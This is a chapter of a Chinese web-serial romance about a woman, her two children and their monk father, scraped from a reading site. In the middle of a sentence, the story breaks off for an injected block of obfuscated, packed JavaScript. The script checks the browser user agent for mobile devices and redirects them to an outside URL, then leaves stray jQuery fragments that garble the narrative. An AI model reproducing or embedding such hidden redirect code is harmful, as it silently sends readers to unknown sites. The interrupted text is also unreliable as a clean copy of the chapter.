默认冷灰
24号文字
方正启体

14.第 14 章

作者:忘还生本书字数:K更新时间:
    “喂,洛明瑢。”


    周遭虫鸣蛙噪,沈幼漓让他背着,语气静得像一阵无方夜风。


    “嗯。”


    “我不关心你与县主有没有男女之情,我只关心一件事。”


    “你说。”


    “县主中意你是板上钉钉的事,她以为你要为她还俗,之后怕是有得纠缠,你与她成与不成都好,只是……别让县主知道我和釉儿丕儿的存在。”


    背她的人站住脚步。


    沈幼漓继续说:“只要你开口提,洛家一定也会帮你隐瞒,只当这七年什么都没发生,你从没有妻儿……当然,你也没当我们是,若有必要,就说我和孩子们只是远房亲戚寄住而已,知道吗?”


    ……


    “为何要如此?”


    “那县主我见过,我不想惹她不快,让孩子也受委屈。”


    上位者最是罔顾他人,沈幼漓自己如何不打紧,若孩子有个不好,她下手就不会只是区区生半夏了。


    “你受了什么委屈?”


    “我的事就与你无干了,你只答应我就是。”


    洛明瑢道:“县主不能干预洛家的事,贫僧也会护你们周全,你们该如何就如何,不必假装。”


    “你连丕儿的纸条都不想要,大可不必强装关心我们了。”


    她很平静,天上的乌云沉沉压在心上,星星一颗也不闪烁。


    “贫僧已是出家之人,有些亲缘本不该留恋太多。”


    这就是解释。


    沈幼漓知道,她一直都知道。


    七年前,他早想踏入佛门,是洛家一直拉着他,而后她又出现,将他拉得越来越远。


    “我知道,你想安生待在的寺中修行,不受打扰,是洛家……还有我一直拖着你,过往七年,我不知如何赔罪……”


    “你什么都不须做,贫僧也从未对你有过怨怼。”


    沈幼漓笑道:“是啊,你是大师,此际灵台清明,怕是早参悟了,那我只求你那件事,你应不应?”


    “釉儿和丕儿的事,你不须担心。”


    “多谢。”


    “其实,贫僧也想成全沈娘子。”洛明瑢突然说道。


    “你要成全我什么?”


    “端看沈娘子想要的是什么。”


    沈幼漓又因他的话发散出想象,若是她要他……


    不会的,他方才说了,心中从无男女之情。


    这话只能是一个意思。


    “多谢你啊,我想要的已经得到了,那一万两银子,我拿得很开心。”她在他耳边真心实意地说。


    她也想放过他,衷心说道:“禅师,愿你往后可以有一方净土,好好修行,不再为世俗所扰。”


    缠在他身边的第一年,沈幼漓就知道他想过的是什么日子,可她一再毫不在意地毁掉洛明瑢的向往。


    这一次她真心盼他好。


    洛明瑢在走一个上坡,这似乎要费些力气,让他一时不能搭话。


    等上了坡,不知道是忘了还是怎样,他重新起了一个话头:“这些年教养观棋成聿,辛苦你了。”


    “嗯。”


    沈幼漓突然觉得说话很累,“你累了,就放我下来吧。”


    洛明瑢不累,只是觉得她有点轻,不知道是照顾孩子太累,还是原本胃口就小,从不见她长肉。


    匆促的马蹄声代替了沉默,自身后传来。


    邓长桥放慢了马速,灯笼的光让他勉强看清道旁的人。


    一个僧人背着一个年轻娘子走在路边,这怎么看怎么不对劲儿。


    “你们是干什么的?”他大喝一声。


    洛明瑢不闪不避,答得简略:“行路。”


    “你们是什么关系这样赶路?”


    背后载着的人替那二位说了话:“你们这是又和好了?”


    说话的人当然是老春头。


    为了赶时间,邓长桥带着他一道骑马,老春头坐在后边,眯着眼睛,在夜色里勉强辨认出两人。


    这是怎么回事,刚刚喝酒的时候不在那儿伤春悲秋,一转眼这两口子又好得背在身上走了?


    果然,七年了,到底是有感情的,床头吵架床尾和,哪能说散就散呢。


    “老春头,你认得他们?”


    “认得认得,他们是正经良家,”老春头连连点头,又看向他们,“这是又和好了?就是嘛,有什么事不能好好说开,以后好好过日子不好吗。”


    老春头有时候真闹不明白这些年轻人,跟驴投胎似的,一头比的一头犟。


    和好?


    洛明瑢回头想看一眼沈幼漓时,她也刚好抬脸,鼻尖就这么撞上了。


    二人又各自别开脸。


    “老施主。”洛明瑢给他见礼。


    “诶——”


    沈幼漓则不客气:“老头,你这是往哪儿去?”


    “城里有许多尸首要验——”


    邓长桥打断他们的话:“既然没事,快些家去,莫再外头流连。”


    说完打马继续走,没空深究二人关系。


    老春头想说他们这样走得走到猴年马月,可是看自己这一匹马也帮不上忙,只能说一句:“那咱们先走了啊。”


    马奔远了,老春头的声音还远远传来:“好好过,有话别藏心里——”


    沈幼漓把脸死死埋住,只想要原地消失。


    洛明瑢问:“什么话藏心里?”


    “他老糊涂了,别管他!”


    才说着,又一驾马车飞驰而过,道路泥浆四溅。


    这马车太过华丽,沈幼漓一眼就认出了是谁经过。


    跑得跟奔命一样,看来县主真把那玉清甘和露喝了,可有她苦一阵儿了。


    沈幼漓仗着没人看见,咧开了嘴。


    正痛快着,洛明瑢也看向远去的马车,这明显不是正常马车的速度,应该是又出事了。


    肩上的食指在轻敲,背上的人正高兴。


    这事与她有关。


    沈幼漓见洛明瑢也在看那辆马车,怕他问起,为转移他的注意问道:“对了,你还没说这一趟回洛家是为什么?”


    他收回视线,不再关心:“只是有些事要办。”


    他不想细说,沈幼漓懒得再问。


    路还很长,摇摇晃晃之间,沈幼漓酒意上来,熬不住睡过去了。


    —


    “你舍得回来了——”


    沈幼漓被这一声责备惊醒,抬起头来,天际青青似鸭蛋壳,门头檐下洛府的灯笼还亮着。


    原来是到家了。


    周氏正站在前院紫藤花廊下头,钗饰素净,看来是刚刚起身。


    刚刚那声就是她问的。


    在大夫人的视线下,沈幼漓默默滑下洛明瑢的背,行了一个礼。


    “嗯。”


    发觉二人是一道回来的,周氏没再说什么,转头走了。


    这婆母当真宽和。


    沈幼漓惦记两个孩子,也赶着回屋,走之前又跟洛明瑢提了一遍:“答应我的事,你记得。”


    他点头:“记得。”


    沈幼漓回到房中,内室垂帘紧闭,两个孩子在被窝里安安静静的,还没睡醒呢。


    “昨晚他们怎么睡着的?”她小声问。


    雯情道:“小郎君和小娘子吵了一架,哭累就睡过去了,都忘了娘子还没回来。”


    沈幼漓点点头,转身脱下溅满泥点的裙子,在净室里梳洗干净,散了头发走回内室。


    “哈——”


    她也没睡够,打了个大大的哈欠,又靠在床边睡过去了。


    不知睡到什么时辰了,四只手在她肩头摇啊摇。


    “阿娘!阿娘!懒猪啊——”


    两个小孩左右摇着沈幼漓。


    她闭着眼睛一人亲了一口,拍拍他们的屁股:“去吃早饭读书,阿娘再睡一会儿。”


    釉儿倒是乖乖到饭桌边去了,丕儿心里惦记着事,还叫魂似的打扰他老娘清梦:“阿娘,你去找阿爹了吗?”


    沈幼漓突然睁开眼睛,随即又郁闷地翻了个身,含糊几声。


    丕儿爬上来,跪在床沿上推她:“阿爹告诉你了吗?”


    沈幼漓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485320|169882||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    挠挠头,“这个啊……”


    “阿娘,你不会没问吧!”


    那张肖似其父的包子脸扁起了嘴巴,眼眶里蓄起了眼泪。


    “阿娘问了,可是你阿爹说的那些话神神叨叨的,阿娘都听不明白。对了!你再说一遍问了阿爹什么,没准阿娘就想起来了。”她赶紧想辙找补。


    丕儿抽抽噎噎地说:“日前夫子授《论语》,老先生说阿爹以前有一篇论辩写得极好,孩儿就想问一问他当时是怎么解的。”


    “哦……对对对,你这么一说阿娘就想起来了!”


    幸而沈幼漓对四书五经皆有涉猎,这一句算童生试的老题,凡科举经义者都要写上几篇论辩,一点也不晦涩偏门。


    沈幼漓回想了一下,把丕儿抱在怀里,闭上眼睛现编起来:“你阿爹起头破题就是一句,‘圣贤以成德,君子欲立身,夫知、仁、勇三者…’”


    一路从破题讲到结题,她说得口都干了。


    “丕儿,阿爹说的你懂了吗?”她掐掐儿子肥嫩的脸。


    丕儿闻言很不好意思,低头掰手指:“丕儿果然还是听不懂,日后进学须更加勤勉。”


    不过能隔空和阿爹一问一答,他还是很开心。


    沈幼漓笑得无奈:“你才四岁,本就没学到这个,读书讲究循序渐进,不可操之过急,哪有先吃盐再炒菜的。”


    “丕儿就是要学得很厉害很厉害,这样阿爹隔很远也会知道,是不是就回来看我们了?”


    ……


    这小子念的该不会是《孙子兵法》吧。


    “好了好了,先去吃早饭。”沈幼漓已经被折腾得一点睡意都没了。


    “好。”他蹦下了床。


    釉儿一边吃饭,一边拿看傻子的眼神看弟弟。


    等蠢蛋弟弟颠颠走了,她才嘟囔:“都是假的,阿爹才不会管我们。”


    “什么假的,就是你们阿爹说的啊。”


    “阿娘,你连弟弟问什么都不知道,根本就是瞎编的。”


    沈幼漓放下梳子搓她的脸:“嘘——釉儿知道就好,别告诉你弟弟啊。”


    “那他老是这样‘阿爹阿爹’的,显得咱们多稀罕那个爹似的。”


    釉儿就不喜欢她爹。


    “说起来,你们阿爹今早回来了,就在家中。”


    沈幼漓也不想说,不过都在一个家里,早晚两个孩子也是会知道的。


    “啊?”


    釉儿瞪大眼睛,嘴巴张得大大的。


    沈幼漓怕她脱臼,笑着把女儿嘴巴合上,“怕了?”


    “我才不怕!”


    她跳下凳子蹬蹬蹬跑走。


    第二日沈幼漓就没见两个小孩在眼前出现,她找了一圈儿,这俩窝角落凑一块儿,一会儿拿手臂拔河,一会儿窸窸窣窣不知道说些什么。


    “你们是想去瞧瞧阿爹吗?”沈幼漓问。


    两个孩子像炸毛的小兽,赶紧背着手对着阿娘站好。


    “不去!我们不去!”釉儿率先开口。


    丕儿倒是犹犹豫豫的,不敢说话。


    她威胁弟弟:“你也不准去!”


    “可……可是……”他又要哭。


    沈幼漓道:“没关系,阿爹很好的人,一点也不凶,你们可以去瞧一瞧。”


    在说出这句话之前,沈幼漓有很多忧虑。


    怕扰了洛明瑢的修行,给他平添麻烦,又怕来日她要离开,他们本就没有阿爹可以依赖,再没有阿娘……


    怎么想都剜心。


    当初只顾着生下来,拿到银子,孩子怎么长大压根不在意,现在才明白自己大错特错。


    为人父母,根本无一刻不挂心孩子。


    说完之后,沈幼漓放下些顾虑。


    她不是让两个孩子去亲近洛明瑢,而是让他们清楚,他们的阿爹是很好的人,也有些不得已,人生早该自己想开。


    盼他们往后能从容看待父母的关系,不要难过,不要生出怨恨和误解。


    这就是洛明瑢所说的,勘破了吧。


    那看来她也很有悟性。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)